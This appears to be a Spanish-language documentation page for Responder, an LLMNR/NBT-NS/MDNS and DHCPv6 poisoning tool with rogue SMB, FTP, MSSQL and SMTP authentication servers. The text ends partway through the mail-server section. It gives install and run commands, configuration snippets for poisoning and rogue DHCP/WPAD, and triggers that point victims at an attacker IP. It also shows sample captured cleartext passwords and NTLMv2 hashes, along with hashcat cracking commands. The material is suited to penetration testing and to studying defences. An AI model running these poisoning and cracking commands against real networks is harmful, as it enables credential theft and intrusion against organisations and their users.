Responder

Responder es un envenenador de LLMNR, NBT-NS y MDNS con servidores de autenticación falsos incorporados para HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS y más. Soporta NTLMv1/NTLMv2/LMv2, NTLMSSP de seguridad extendida y varios métodos de autenticación en más de 15 protocolos.

---

Tabla de Contenidos

• Resumen
• Novedades
• Instalación
• Inicio Rápido
• Envenenamiento de Red
• Servidores Falsos
• Configuración
• macOS
• Solución de Problemas

---

Resumen

Responder captura credenciales respondiendo a solicitudes de resolución de nombres LLMNR, NBT-NS y MDNS. Cuando un cliente intenta resolver un nombre de host inexistente, Responder responde, dirigiendo al cliente a la máquina del atacante donde múltiples servidores de autenticación falsos capturan las credenciales. También se incluyen servidores falsos DHCP y DHCPv6, que se pueden habilitar por separado.

Datos Capturados:

• Hashes NetNTLMv1/v2 - Descifrables con hashcat/john
• Hashes Kerberos AS-REQ - Descifrado offline (hashcat -m 7500)
• Credenciales en texto claro - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
• Challenge-response - CRAM-MD5, DIGEST-MD5

---

Novedades

Esta versión incluye:

Mejoras en DHCPv6 y DNS

• ✅ DHCPv6 INFORMATION-REQUEST - Compatibilidad total con Windows 10/11
• ✅ Filtrado de Dominios - Apuntar a dominios específicos (DHCPv6 y DNS)
• ✅ Anuncios de Router - Envenenamiento opcional de red IPv6

Actualizaciones del Servidor de Correo

• ✅ SMTP STARTTLS - Captura desde clientes de correo modernos
• ✅ IMAP STARTTLS - Puerto 143 con actualización a TLS
• ✅ IMAPS - SSL nativo en puerto 993
• ✅ POP3 mejorado - Mejor compatibilidad

Mejoras en Kerberos

• ✅ Forzar AS-REQ - Forzar autenticación Kerberos.
• ✅ Intentar retroceso a NTLM - Después de capturar la autenticación Kerberos, devolver KDC_ERR_ETYPE_NOSUPP

Mejoras de Protocolo

• ✅ MSSQL - Captura de autenticación de SQL Server
• ✅ LDAP/LDAPS - Credenciales de servicios de directorio
• ✅ RDP - Autenticación de Escritorio Remoto
• ✅ WinRM - Administración Remota de Windows
• ✅ DCERPC - Autenticación RPC de Windows

---

Instalación

Requisitos

• Python 2.7 o Python 3.x
• Linux (recomendado Ubuntu, Kali, Debian)
• Privilegios de root

Dependencias del Sistema```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Instalar Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Verificar instalación```bash

sudo python3 Responder.py --help

---

## Inicio rápido

### Envenenamiento básico```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

DHCPv6 Ataque```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### Forzar autenticación básica HTTP```bash
sudo python3 Responder.py -I eth0 -b -v

Habilitar Autenticación de Proxy + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## Envenenamiento de red

### Envenenamiento LLMNR/NBT-NS/MDNS

**Propósito:** Responder a fallos de resolución de nombres

**Cómo funciona:**
1. El cliente difunde una consulta para un host inexistente
2. Responder responde: "Soy ese host"
3. El cliente se conecta al atacante
4. Credenciales capturadas

**Configuración:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Uso:```bash sudo python3 Responder.py -I eth0 -v

---

### Servidor DHCPv6

**Propósito:** Forzar a los clientes a usar el DNS del atacante a través de IPv6

**Características:**
- ✅ Soporte de INFORMATION-REQUEST (Windows 10/11)
- ✅ Soporte de SOLICIT/REQUEST
- ✅ Filtrado de dominios (segmentación quirúrgica)
- ✅ Router Advertisement (opcional)

**Cómo funciona:**
1. Windows envía INFORMATION-REQUEST, SOLICIT, REQUEST de DHCPv6
2. Responder responde: DNS = IPv6 del atacante
3. Windows prioriza el DNS IPv6
4. Todas las consultas DNS → atacante
5. Envenenamiento de DNS → captura de credenciales

**Configuración:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Uso:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**Salida esperada:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

---

Servidores Rogue

Responder incluye 17+ servidores de autenticación rogue:

Servicios de archivos y red

Servidor SMB (Puertos 445, 139)

Propósito: Capturar hashes NetNTLM de recursos compartidos de archivos

Características:

• ✅ SMBv1/SMBv2/SMBv3
• ✅ Captura de hashes NetNTLMv1/v2
• ✅ Seguridad extendida NTLMSSP
• ✅ Firma de sesión deshabilitada (permite relay)

Disparadores:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**Formato Capturado:**```
username::domain:challenge:response:blob

Cracking:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**Configuración:**```ini
[Responder Core]
SMB = On

---

Servidor FTP (Puerto 21)

Propósito: Capturar credenciales FTP en texto claro

Características:

• ✅ Honeypot de inicio de sesión anónimo
• ✅ Autenticación USER/PASS
• ✅ Captura de credenciales en texto claro

Disparadores:```bash ftp attacker-ip

Username: anything

Password: anything

**Formato capturado:**```
[FTP] Cleartext: username:password

Configuración:```ini [Responder Core] FTP = On

---

### Servidores de Bases de Datos

#### MSSQL Server (Puerto 1433)

**Propósito:** Capturar autenticación de Microsoft SQL Server

**Características:**
- ✅ Autenticación de SQL Server
- ✅ Autenticación de Windows (NTLM)
- ✅ Credenciales SQL en texto claro
- ✅ Captura de hash NetNTLMv2

**Desencadenantes:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Formatos capturados:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**Configuración:**```ini
[Responder Core]
SQL = On

Notas:

• Captura tanto la autenticación SQL como la autenticación de Windows
• Funciona con conexiones SSMS, sqlcmd, ADO.NET
• Puede capturar credenciales de dominio mediante autenticación de Windows

---

Servidores de Correo Electrónico

Servidor SMTP (Puerto 25, 587)

Propósito: Capturar autenticación de clientes de correo electrónico

Características:

• ✅ soporte STARTTLS (clientes modernos)
• ✅ AUTH PLAIN (texto claro)
• ✅ AUTH LOGIN (texto claro)
• ✅ AUTH CRAM-MD5
• ✅ AUTH DIGEST-MD5
• ✅ AUTH NTLM (NetNTLMv2)